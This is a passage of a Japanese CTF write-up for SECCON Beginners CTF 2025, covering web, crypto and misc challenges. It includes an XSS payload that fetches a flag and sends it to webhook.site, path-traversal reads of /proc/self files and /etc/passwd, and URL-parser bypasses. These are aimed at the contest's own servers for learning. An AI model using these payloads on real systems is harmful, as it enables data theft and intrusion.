SECCON Beginners CTF 2025へ1人チームで参加しました。そのwrite-up記事です。
2025/08/03(日) 05:00頃追記: ctf4b++問題箇所に、Dockerコンテナ内部でgdbserverを実行してデバッグする方法や、upsolve結果を加筆しました。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [welcome, beginner] welcome (865 teams solves, 100 points)
- [web, beginner] skipping (737 teams solves, 100 points)
- [web, easy] log-viewer (621 teams solves, 100 points)
- [web, medium] memo4b (308 teams solves, 157 points)
- [crypto, beginner] seesaw (612 teams solves, 100 points)
- [crypto, easy] 01-Translator (280 teams solves, 100 points)
- [crypto, medium] Elliptic4b (171 teams solves, 272 points)
- [misc, beginner] kingyo_sukui (644 teams solves, 100 points)
- [misc, easy] url-checker (606 teams solves, 100 points)
- [misc, medium] url-checker2 (524 teams solves, 100 points)
- [misc, medium] Chamber of Echos (235 teams solves, 100 points)
- [reversing, beginner] CrazyLazyProgram1 (654 teams solves, 100 points)
- [reversing, easy] CrazyLazyProgram2 (468 teams solves, 100 points)
- [reversing, easy] D-compile (335 teams solves, 100 points)
- [reversing, medium] wasm_S_exp (330 teams solves, 100 points)
- [reversing, hard] MAFC (144 teams solves, 339 points)
- [reversing, hard] code_injection (88 teams solves, 441 points)
- [pwnable, beginner] pet_name (586 teams solves, 100 points)
- [pwnable, easy] pet_sound (410 teams solves, 100 points)
- [pwnable, medium] pivot4b (117 teams solves, 394 points)
- [pwnable, hard] TimeOfControl (15 teams solves, 499 points)
- ある程度進められたけど解けなかった問題
- 感想
コンテスト概要
2025/07/26(土) 14:00 +09:00 - 07/27(日) 14:00 +09:00の24時間開催でした。他ルールはルールページから引用します:
ルール
競技形式
Jeopardy 形式
開催日程
2025/7/26 (土) 14:00 JST から 2025/7/27 (日) 14:00 JST まで
開催時間
24 時間
参加資格
国籍、年齢、性別は問いません。どなたでもご参加いただけます。
競技ルール
1. 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
2. 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
3. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
4. 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。
問題難易度について
本 CTF は日本の CTF 初心者~中級者を対象としたものです。そのため、近年の一般的な CTF ではほぼ見かけない初心者向けの簡単な問題も一定数出題される予定です。これを機に CTF を始めたいという方や、最近 CTF を始めた方は、ぜひそれらの問題をお楽しみください。 それと同時に、上級者でも楽しめる、少しだけ難易度が高めの問題の出題も予定しています。何度か CTF に参加したことがある方は、ぜひそれらの問題を腕試しとしてご活用いただければと思います。 また、より競技に取りかかりやすくなるように、各問題で「Beginner」「Easy」「Medium」「Hard」といった難易度を示す情報を表示しております。 なお、本 CTF の問題数や難易度は複数人からなるチームでご参加いただくことを想定して設定されております。 1 ~ 2 人チームで参加される場合は、競技時間内に着手・正答できる問題数が限られることが予想されますので、ぜひお誘い合わせの上ご参加ください。
競技中のコミュニケーション
競技中の競技に関するアナウンスは、以下の招待リンクから参加できる Discord サーバにて行います。
https://discord.gg/6sKxFmaUyS
また、競技中に運営に問い合わせたいことがある場合にも、こちらの Discord サーバを利用して下さい。
禁止事項
CTF 競技時間中、以下の行為は禁止とします。
1. 他チームへの妨害行為
2. 他チームの回答などをのぞき見する行為
3. 他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など)
4. 自チームのチーム登録者以外に問題・ヒント・解答を教えること
5. 自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く)
6. 設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃
7. 競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!)
8. その他、運営を阻害する行為
特記事項
1. 出題内容や開催中のアナウンスは原則日本語とします。問題中で例外的に英語が用いられる場合があります。
2. チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。
3. 本大会では上位チームへの賞金・賞状の授与等は行いません。
4. また SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。
初心者~中級者がメインターゲットであることが特色のコンテストです。
結果
正の得点を得ている880チーム中、3753点で55位でした:


環境
主にWindowsのWSL2(Ubuntu 24.04)を使って取り組みました。SageMath用途にはUbuntu 22.04を、EXEのデバッガー実行等にはWindows Sandboxによる仮想環境も使いました。
Windows(ホスト)
c:\>ver Microsoft Windows [Version 10.0.19045.6093] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop Running 2 Ubuntu-22.04 Stopped 2 c:\>
他ソフト
- IDA Version 9.1.250226 Windows x64 (64-bit address size)
- Wireshark Version 4.4.8 (v4.4.8-0-g0d289c003bfb)
- Google Chrome Version 138.0.7204.169 (Official Build) (64-bit)
- x64dbg Version: Mar 15 2025 15:54:24
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.2 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.2 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show pycryptodome | grep Version: Version: 3.20.0 $ python3 -m pip show pwntools | grep Version: Version: 4.14.1 $ g++ --version g++ (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0 Copyright (C) 2023 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2025.05.30 build: 5cff331b $ qemu-system-x86_64 --version QEMU emulator version 8.2.2 (Debian 1:8.2.2+ds-0ubuntu1.7) Copyright (c) 2003-2023 Fabrice Bellard and the QEMU Project developers $ pwninit --version pwninit 3.3.1 $ ROPgadget --version Version: ROPgadget v7.3 Author: Jonathan Salwan Author page: https://twitter.com/JonathanSalwan Project page: http://shell-storm.org/project/ROPgadget/ $ curl --version curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7 Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd $ docker --version Docker version 28.2.2, build e6534b4 $
WSL2(Ubuntu 22.04、SageMath用)
$ sage --version SageMath version 9.5, Release Date: 2022-01-30 $ sage --pip show pwntools | grep Version Version: 4.14.1 $ sage --pip show fastecdsa | grep Version Version: 3.0.1 $
解けた問題
[welcome, beginner] welcome (865 teams solves, 100 points)
SECCON Beginners CTF 2025へようこそ
Flagは ctf4b{W3lc0m3_2_SECCON_Beginners_CTF_2025} です
welcome問題らしく、フラグが問題文で明記されています。提出すると正解できました: ctf4b{W3lc0m3_2_SECCON_Beginners_CTF_2025}
[web, beginner] skipping (737 teams solves, 100 points)
/flagへのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。 curl http://skipping.challenges.beginners.seccon.jp:33455
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app/Dockerfile: ASCII text ./app/index.js: JavaScript source, Unicode text, UTF-8 text ./app/package.json: JSON text data ./compose.yml: ASCII text ./nginx/Dockerfile: ASCII text ./nginx/nginx.conf: ASCII text $
app/index.jsは次の内容でした:
var express = require("express"); var app = express(); const FLAG = process.env.FLAG; const PORT = process.env.PORT; app.get("/", (req, res, next) => { return res.send('FLAG をどうぞ: <a href="/flag">/flag</a>'); }); const check = (req, res, next) => { if (!req.headers['x-ctf4b-request'] || req.headers['x-ctf4b-request'] !== 'ctf4b') { return res.status(403).send('403 Forbidden'); } next(); } app.get("/flag", check, (req, res, next) => { return res.send(FLAG); }) app.listen(PORT, () => { console.log(`Server is running on port ${PORT}`); });
/flagエンドポイントでフラグを応答してくれます。しかしapp.get("/flag", check, 略)=>{略}とありcheck関数が引数に渡されているため、check関数内容がミドルウェア処理として先に行われます。check関数の実装を見ると、HTTPヘッダーにx-ctf4b-requestがあり、かつその値がctf4bである場合のみ後続の処理へ続きます。そうでない場合は403レスポンスを返す挙動となり、/flagエンドポイントの本来処理には到達しません。
curlコマンドでは-Hオプションを使うと任意HTTPヘッダーを付与できます:
$ curl 'http://skipping.challenges.beginners.seccon.jp:33455/flag' -H 'x-ctf4b-request: ctf4b'
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
$
フラグを入手できました: ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
[web, easy] log-viewer (621 teams solves, 100 points)
ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです... http://log-viewer.challenges.beginners.seccon.jp:9999
配布ファイルはありません。問題文記載のURLへブラウザでアクセスしてみるとファイル選択UIがあり、そこで指定したファイルを表示してくれる内容でした。例えばaccess.logを選択するとhttp://log-viewer.challenges.beginners.seccon.jp:9999/?file=access.logへ遷移してファイル内容が表示されるようでした:

さて、fileパラメーターにファイル名が入っています。ディレクトリトラバーサルできそうな予感がします。色々試していると、http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../../../../../../../../../../../proc/self/environでディレクトリトラバーサルに成功して、環境変数を表示できました。ただそこにはフラグは含まれていませんでした。
問題文に秘密の情報とあるので、環境変数ではなかったらコマンドライン引数にありそうと考えました。procfsでは/proc/[pid]/cmdline形式でアクセスするとコマンドライン引数を確認できます。また、[pid]箇所には、自プロセスを表すselfも指定できます。
http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../../../../../../../../../../../proc/self/cmdlineへアクセスしました:

/proc/[pid]/cmdlineでは、各種オプションの区切りはNUL文字で表現されます。ブラウザではゼロ幅として表示されているようです。ともかくオプションとしてフラグが渡されていて、フラグを入手できました: ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
なお最初はディレクトリトラバーサルの検証として、定番の/etc/passwdを使ったhttp://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../../../../../../../../../../../etc/passwdなどを試していました。ただどういうわけか当該ファイルは存在しない環境のようです。
[web, medium] memo4b (308 teams solves, 157 points)
Emojiが使えるメモアプリケーションを作りました:smile: メモアプリ: http://memo4b.challenges.beginners.seccon.jp:50000 Admin Bot: http://memo4b.challenges.beginners.seccon.jp:50001 Admin Bot (mirror): http://memo4b.challenges.beginners.seccon.jp:50002 Admin Bot (mirror2): http://memo4b.challenges.beginners.seccon.jp:50003
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app.js: JavaScript source, Unicode text, UTF-8 text ./bot/bot.js: JavaScript source, ASCII text ./bot/Dockerfile: ASCII text ./bot/index.html: HTML document, Unicode text, UTF-8 text ./bot/package-lock.json: JSON text data ./bot/package.json: JSON text data ./docker-compose.yml: ASCII text ./Dockerfile: ASCII text ./flag.txt: ASCII text, with no line terminators ./package-lock.json: JSON text data ./package.json: JSON text data ./static/style.css: ASCII text ./templates/index.html: HTML document, Unicode text, UTF-8 text ./templates/post.html: HTML document, Unicode text, UTF-8 text $
Webアプリケーションとしては、タイトルとメモ内容を入力できて、入力したメモ内容をURLで共有できるサービスです。その際、メモ内容はMarkdownからHTMLに変換されたり、問題説明通りに絵文字を入力できたりします。
app.jsがサーバー側処理の本体です。全部で140行あるので、重要な箇所だけを抜粋します:
// 略 app.get('/flag', (req,res)=> { const clientIP = req.socket.remoteAddress; const isLocalhost = clientIP === '127.0.0.1' || clientIP?.startsWith('172.20.'); if (!isLocalhost) { return res.status(403).json({ error: 'Access denied.' }); } if (req.headers.cookie !== 'user=admin') { return res.status(403).json({ error: 'Admin access required.' }); } res.type('text/plain').send(FLAG); }); // 略 app.post('/', (req,res)=>{ const { title='', md='' } = req.body; marked.setOptions({ breaks: true, gfm: false }); let html = marked.parse(md); console.log(`Before sanitize: ${html}`); html = sanitizeHtml(html, { allowedTags: ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'a', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre', 'em', 'strong', 'br'], allowedAttributes: { 'a': ['href'] } }); console.log(`After sanitize: ${html}`); html = processEmojis(html); const id = crypto.randomUUID().slice(0,8); posts.set(id,{ title: title.replace(/[<>]/g, ''), html: html }); res.redirect(`/post/${id}`); }); // 略 function processEmojis(html) { return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => { console.log(`processEmojis match: ${match}, name: ${name}`); if (emojiMap[name]) { return emojiMap[name]; } if (name.match(/^https?:\/\//)) { try { const urlObj = new URL(name); const baseUrl = urlObj.origin + urlObj.pathname; const parsed = parse(name); const fragment = parsed.hash || ''; const imgUrl = baseUrl + fragment; return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`; } catch (e) { return match; } } return match; }); }
/flagエンドポイントではIPアドレス制限があるため、Admin Botのみがフラグを得られます。そういうわけで、「各種変換をバイパスしつつXSS出来るメモを作成し、Admin Botに当該メモを閲覧してもらい、フラグを取得させて外部送信もさせる」必要があります。
入力メモ内容をMarkdownからHTMLへ変換する処理や、変換結果HTMLを特定タグのみにサニタイズする処理は、外部ライブラリを使用しています。外部ライブラリ箇所はおそらく安全で、自作の「絵文字箇所をHTMLへ変換する処理」が怪しいと考えました。
URLを何か加工してimgタグ内容を作成しています。色々試していると、URLのフラグメント箇所にダブルクォートを混ぜるとsrc属性を脱出できて、任意属性を付与できることが分かりました。onerror属性を仕込んでJavaScriptを実行させる方針を試していると、:http://test.invalid/#"onerror="alert(1)":入力で<img src="http://test.invalid/#"onerror="alert(1)"" style="height:1.2em;vertical-align:middle;">のDOMを生成できて、スクリプト実行に成功しました!
後は「フラグを取得させて外部送信もさせる」を実装します。注意点として各種変換処理が入る都合で使えない文字があります:
- コロン
:は区切り文字に使われます。 - バックティック文字
`は<code>タグへ変換されます。 - 山括弧
>は>へ変換されます。
上記文字を使わない内容を試行錯誤すると:http://test.invalid/#"onerror="fetch('/flag').then(function(res){return res.text().then(function(text){fetch('//webhook.site/uuid省略?'+text)})})":で達成できました。ここで使用している外部送信先のWebhook.siteサービスが本当に便利です。
問題文記載のWebアプリケーションURLへアクセスし、タイトルには適当な内容を、メモ本体には上記内容を入力してメモを生成し、生成したメモURLをAdmin botへ入力しました:

無事にAdminBotからWebhookへのアクセスがあり、フラグもついてきました: ctf4b{xss_1s_fun_and_b3_c4r3fu1_w1th_url_p4r5e}
[crypto, beginner] seesaw (612 teams solves, 100 points)
RSA初心者です! pとqはこれでいいよね...?
配布ファイルとして、問題本体のchall.pyと、その出力のoutput.txtがありました。chall.pyは次の内容でした:
import os from Crypto.Util.number import getPrime FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}").encode() m = int.from_bytes(FLAG, 'big') p = getPrime(512) q = getPrime(16) n = p * q e = 65537 c = pow(m, e, n) print(f"{n = }") print(f"{c = }")
q側が16-bitサイズであり、すなわち2**16である65536未満の値を取ります。qの候補が少ないため総当たりでqの値が分かり、nを素因数分解できます。nを素因数分解できれは暗号文を復号できます。ソルバーです:
#!/usr/bin/env python3 import ast with open("output.txt") as f: n = ast.literal_eval(f.readline().split(" = ")[1]) c = ast.literal_eval(f.readline().split(" = ")[1]) e = 65537 for q in range(2, 2**16): if n % q == 0: break else: raise Exception("Not found...") p = n // q assert p * q == n d = pow(e, -1, (p - 1) * (q - 1)) m: int = pow(c, d, n) print(m.to_bytes(64, "big").decode().strip("\x00"))
実行しました:
$ ./solve.py
ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}
$
フラグを入手できました: ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}
[crypto, easy] 01-Translator (280 teams solves, 100 points)
バイナリ列は読めない?じゃあ翻訳してあげるよ! nc 01-translator.challenges.beginners.seccon.jp 9999
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ file * 01-translator.py: Python script, ASCII text executable Dockerfile: ASCII text compose.yml: ASCII text $
01-translator.pyは次の内容でした:
import os from Crypto.Cipher import AES from Crypto.Util.number import bytes_to_long from Crypto.Util.Padding import pad def encrypt(plaintext, key): cipher = AES.new(key, AES.MODE_ECB) return cipher.encrypt(pad(plaintext.encode(), 16)) flag = os.environ.get("FLAG", "CTF{dummy_flag}") flag_bin = f"{bytes_to_long(flag.encode()):b}" trans_0 = input("translations for 0> ") trans_1 = input("translations for 1> ") flag_translated = flag_bin.translate(str.maketrans({"0": trans_0, "1": trans_1})) key = os.urandom(16) print(flag_translated) print("ct:", encrypt(flag_translated, key).hex())
フラグをビットごとに表現した0か1の文字列を、こちらが指定できる任意文字列に変換したものを、ランダムな鍵でAES-128-ECBで暗号化します。ここで暗号利用モードがECBであるため、入力ブロックが同一の場合は暗号化結果のブロックも同一になります。そのため、「こちらが指定できる任意文字列」を16文字にすると、もともとのビットごと文字列が0か1かの2種類という状況を、ブロック単位での2種類にできます。
暗号化結果の最上位ビットは1固定であること、またpadされているため最後のブロックは余分であることを考慮して、ソルバーを実装しました:
#!/usr/bin/env python3 import pwn from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes # pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): io.sendlineafter(b"translations for 0>", b"A" * AES.block_size) io.sendlineafter(b"translations for 1>", b"B" * AES.block_size) io.recvuntil(b"ct: ") b = bytes.fromhex(io.recvline().decode()) assert len(b) % AES.block_size == 0 # print(f"{b = }") # print(f"{len(b) = }") block_1: bytes = b"" value = 0 block_set = set() # 最後のブロックはパディング、不要 for i in range(0, len(b) - AES.block_size, AES.block_size): current_block = b[i : i + AES.block_size] block_set.add(current_block) # print(f"{current_block = }") assert len(current_block) == 16 # 最上位ビットは1固定 if i == 0: block_1 = current_block value <<= 1 if current_block == block_1: value |= 1 assert len(block_set) == 2 print(long_to_bytes(value).decode()) # fmt: off # with pwn.process(["python3", "01-translator.py"]) as io: solve(io) # with pwn.remote("localhost", 9999) as io: solve(io) with pwn.remote("01-translator.challenges.beginners.seccon.jp", 9999) as io: solve(io)
pwntoolsライブラリは、サーバーとの接続が必要なすべての問題で便利です。本問題でも活用できます!
ソルバーを実行しました:
$ ./solve.py
[+] Opening connection to 01-translator.challenges.beginners.seccon.jp on port 9999: Done
ctf4b{n0w_y0u'r3_4_b1n4r13n}
[*] Closed connection to 01-translator.challenges.beginners.seccon.jp port 9999
$
フラグを入手できました: ctf4b{n0w_y0u'r3_4_b1n4r13n} まさしくバイナリアンです。
[crypto, medium] Elliptic4b (171 teams solves, 272 points)
楕円曲線だからってそっ閉じしないで! nc elliptic4b.challenges.beginners.seccon.jp 9999
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ file * Dockerfile: ASCII text compose.yaml: ASCII text elliptic4b.py: Python script, ASCII text executable $
elliptic4b.pyは次の内容でした:
import os import secrets from fastecdsa.curve import secp256k1 from fastecdsa.point import Point flag = os.environ.get("FLAG", "CTF{dummy_flag}") y = secrets.randbelow(secp256k1.p) print(f"{y = }") x = int(input("x = ")) if not secp256k1.is_point_on_curve((x, y)): print("// Not on curve!") exit(1) a = int(input("a = ")) P = Point(x, y, secp256k1) Q = a * P if a < 0: print("// a must be non-negative!") exit(1) if P.x != Q.x: print("// x-coordinates do not match!") exit(1) if P.y == Q.y: print("// P and Q are the same point!") exit(1) print("flag =", flag)
次の流れになります:
- サーバー側が
をランダム生成して送信
- こちらが
に対応して楕円曲線
secp256k1に乗る点の座標を計算して送信
- こちらが
結果が、X座標は同一、Y座標は反転になる
を計算して送信
- ここで
制約を満たす必要があります
- ここで
- サーバー側がフラグを送信
secp256k1を調べると、secp256k1 | Standard curve databaseが見つかりました。それによると とのことです。
SageMathには有限体GF(p)を扱う機能があって の
乗根を計算するnth_rootメソッドも存在します。その機能を使って
に対応して楕円曲線に乗る
を計算できました。ただ3乗根を求められない場合もあったので、その場合は再接続してやり直しました。
の方は、つまりは点の加法における逆元を求めることと同義です。点の位数は
fastecdsa パッケージではCurveのq属性で得られます。 として
を与えると、
制約を満たしつつ
の逆元を計算できます。
ここまで書いたことを、色々調べながら考えたりして実装しました。サーバーとの送受信はpwntoolsライブラリが便利です。実装したsageスクリプト製ソルバーです:
#!/usr/bin/env sage import os import typing # sagemathからpwntoolsを使う場合の「Terminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).」エラー回避 os.environ["TERM"] = "xterm-256color" import pwn from fastecdsa.curve import secp256k1 # pwn.context.log_level = "DEBUG" def solve(io_factory: typing.Callable[[], pwn.tube]): F = GF(secp256k1.p) while True: with io_factory() as io: io.recvuntil(b"y = ") y = F(int(io.recvline().decode(), 0)) print(f"{y = }") # https://neuromancer.sk/std/secg/secp256k1/ # y^2 == x^3 + 7 all_x = F(y**2 - 7).nth_root(3, all=True) if len(all_x) == 0: continue # 新しいyでやり直し x = all_x[0] assert secp256k1.is_point_on_curve((int(x), int(y))) print(f"{x = }") io.sendlineafter(b"x = ", str(int(x)).encode()) a = secp256k1.q - 1 print(f"{a = }") io.sendlineafter(b"a = ", str(int(a)).encode()) io.stream(line_mode=False) return # fmt: off # solve(lambda: pwn.remote("localhost", 9999)) solve(lambda: pwn.remote("elliptic4b.challenges.beginners.seccon.jp", 9999))
実行しました:
$ ./solve.sage
[+] Opening connection to elliptic4b.challenges.beginners.seccon.jp on port 9999: Done
y = 104617737342888133428238384785826665377693209415488938517925121482955160818636
[*] Closed connection to elliptic4b.challenges.beginners.seccon.jp port 9999
[+] Opening connection to elliptic4b.challenges.beginners.seccon.jp on port 9999: Done
y = 26715903554500683763223120884705413176873798533026667264325730317451460774475
[*] Closed connection to elliptic4b.challenges.beginners.seccon.jp port 9999
[+] Opening connection to elliptic4b.challenges.beginners.seccon.jp on port 9999: Done
y = 33651959157497637179913960992156235014716291114616951581282553942827904849621
[*] Closed connection to elliptic4b.challenges.beginners.seccon.jp port 9999
[+] Opening connection to elliptic4b.challenges.beginners.seccon.jp on port 9999: Done
y = 10415851465675530620816321335253302056712439807924816198691538568115563118222
x = 25308112151588322583940411309674704722516306075800415089306493202353602266987
a = 115792089237316195423570985008687907852837564279074904382605163141518161494336
flag = ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}
[*] Closed connection to elliptic4b.challenges.beginners.seccon.jp port 9999
$
フラグを入手できました: ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}
[misc, beginner] kingyo_sukui (644 teams solves, 100 points)
scooping! http://kingyo-sukui.challenges.beginners.seccon.jp:33333
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ file * Dockerfile: ASCII text docker-compose.yml: ASCII text index.html: HTML document, ASCII text nginx.conf: ASCII text script.js: C++ source, Unicode text, UTF-8 text style.css: ASCII text $
Webサーバー内容は、金魚すくいのように各種フラグ文字が動く内容です:

各種文字をクリックして拾うと、拾った結果の文字列がフラグとして正しいかどうかを判定してくれます。
さて、判定してくれる以上は正解文字列がどこかにあるはずです。script.jsを見ていると、decryptFlag関数がありました:
// 前略 decryptFlag() { try { const key = atob(this.secretKey); const encryptedBytes = atob(this.encryptedFlag); let decrypted = ""; for (let i = 0; i < encryptedBytes.length; i++) { const keyChar = key.charCodeAt(i % key.length); const encryptedChar = encryptedBytes.charCodeAt(i); decrypted += String.fromCharCode(encryptedChar ^ keyChar); } return decrypted; } catch (error) { return "decrypt error"; } } // 後略
問題文記載のWebサーバーへブラウザでアクセスして、開発者ツールを開いてSourceタブ→Pageタブを選択し、左ペインのscript.jsを選択して、38行目のreturn decrypted;箇所にブレークポイントを設定しました。ページをF5キーでリロードすると、ブレークしました:

decrypted変数に平文のフラグが含まれていました: ctf4b{n47uma7ur1} 夏祭りらしい内容です!
[misc, easy] url-checker (606 teams solves, 100 points)
有効なURLを作れますか? nc url-checker.challenges.beginners.seccon.jp 33457
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ file * Dockerfile: ASCII text compose.yaml: ASCII text main.py: Python script, ASCII text executable $
main.pyは次の内容でした:
from urllib.parse import urlparse print( r"""バナー省略""", end="", ) allowed_hostname = "example.com" user_input = input("Enter a URL: ").strip() parsed = urlparse(user_input) try: if parsed.hostname == allowed_hostname: print("You entered the allowed URL :)") elif parsed.hostname and parsed.hostname.startswith(allowed_hostname): print(f"Valid URL :)") print("Flag: ctf4b{dummy_flag}") else: print(f"Invalid URL x_x, expected hostname {allowed_hostname}, got {parsed.hostname if parsed.hostname else 'None'}") except Exception as e: print("Error happened")
ホスト名部分がexample.comそのものではなく、かつexample.comから始まるホスト名を持つURLを提出すれば、フラグを得られます。というわけでhttp://example.com.testという別ドメインなURLを提出しました:
$ nc url-checker.challenges.beginners.seccon.jp 33457
_ _ ____ _ ____ _ _
| | | | _ \| | / ___| |__ ___ ___| | _____ _ __
| | | | |_) | | | | | '_ \ / _ \/ __| |/ / _ \ '__|
| |_| | _ <| |___ | |___| | | | __/ (__| < __/ |
\___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_|
allowed_hostname = "example.com"
>> Enter a URL: http://example.com.test
Valid URL :)
Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}
フラグを入手できました: ctf4b{574r75w17h_50m371m35_n07_53cur37}
フラグのleet部分は startswith_sometimes_not_secure です。ホスト名という後ろの要素ほどルート要素に近いものでは、特にnot secureです。
[misc, medium] url-checker2 (524 teams solves, 100 points)
有効なURLを作れますか? Part2 nc url-checker2.challenges.beginners.seccon.jp 33458
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ file * Dockerfile: ASCII text compose.yaml: ASCII text main.py: Python script, ASCII text executable $
main.pyは次の内容でした:
from urllib.parse import urlparse print( r"""バナー省略""", end="", ) allowed_hostname = "example.com" user_input = input("Enter a URL: ").strip() parsed = urlparse(user_input) # Remove port if present input_hostname = None if ":" in parsed.netloc: input_hostname = parsed.netloc.split(":")[0] try: print(f"{input_hostname = }") print(f"{parsed = }") print(f"{parsed.hostname = }") if parsed.hostname == allowed_hostname: print("You entered the allowed URL :)") elif ( input_hostname and input_hostname == allowed_hostname and parsed.hostname and parsed.hostname.startswith(allowed_hostname) ): print("Valid URL :)") print("Flag: ctf4b{dummy_flag}") else: print( f"Invalid URL x_x, expected hostname {allowed_hostname}, got {parsed.hostname if parsed.hostname else 'None'}" ) except Exception: print("Error happened")
Part1であるurl-checker問題と比較して、ポート番号考慮でコロン以降を除去する処理があったり、startswithだけではなくinput_hostname == allowed_hostnameも要求されていたりします。
URLでコロンが使われてる場所といえば、ポート番号だけではなく、URL中にユーザー名とパスワードを含める際の区切り文字としても使われます。デバッグ出力等を追加して色々試していると、http://example.com:b@example.com.invalidでうまくいきました:
$ nc url-checker2.challenges.beginners.seccon.jp 33458
_ _ ____ _ ____ _ _ ____
| | | | _ \| | / ___| |__ ___ ___| | _____ _ _|___ \
| | | | |_) | | | | | '_ \ / _ \/ __| |/ / _ \ '__|__) |
| |_| | _ <| |___ | |___| | | | __/ (__| < __/ | / __/
\___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_| |_____|
allowed_hostname = "example.com"
>> Enter a URL: http://example.com:b@example.com.invalid
Valid URL :)
Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}
フラグを入手できました: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5} 独自処理は危険です!
[misc, medium] Chamber of Echos (235 teams solves, 100 points)
どうやら私たちのサーバが機密情報を送信してしまっているようです。 よーく耳を澄ませて正しい方法で話しかければ、奇妙な暗号通信を行っているのに気づくはずです。 幸い、我々は使用している暗号化方式と暗号鍵を入手しています。 収集・復号し、正しい順番に並べてフラグを取得してください。 暗号化方式: AES-128-ECB 復号鍵 (HEX): 546869734973415365637265744b6579 chamber-of-echos.challenges.beginners.seccon.jp
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ file * Dockerfile: ASCII text app.py: Python script, Unicode text, UTF-8 text executable compose.yml: Unicode text, UTF-8 text requirements.txt: ASCII text $
app.pyは次の内容でした:
